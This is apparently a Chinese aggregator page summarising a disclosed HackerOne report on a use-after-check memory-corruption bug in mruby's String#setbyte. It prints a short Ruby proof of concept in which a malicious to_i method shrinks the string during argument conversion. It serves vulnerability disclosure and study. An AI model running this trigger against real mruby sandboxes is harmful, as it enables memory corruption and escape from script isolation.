TOCTTOU bug in mrb_str_setbyte leading the memory corruption
该报告还没有中文解读。
原文摘录
摘自原文(830 字符中的一小部分)
The String#setbyte function caches the length of the string before loading the function arguments. Loading function arguments through mrb_get_args can call into ruby code to run type conversion methods (to_i, to_s and the like). A malicious conversion method is able to force the string to be …
原文中的代码
$s = "9" + ("\n" * (1024*1024-1))
$k = []
class Tmp
def to_i
$k.push("a"*1024)
$s.chomp! ''
$s.succ!
95
end
end
tmp = Tmp.new
$s.setbyte(128, tmp)
puts $k[0]默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 shopify-scripts 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @raydot · 版权归作者与 shopify-scripts 所有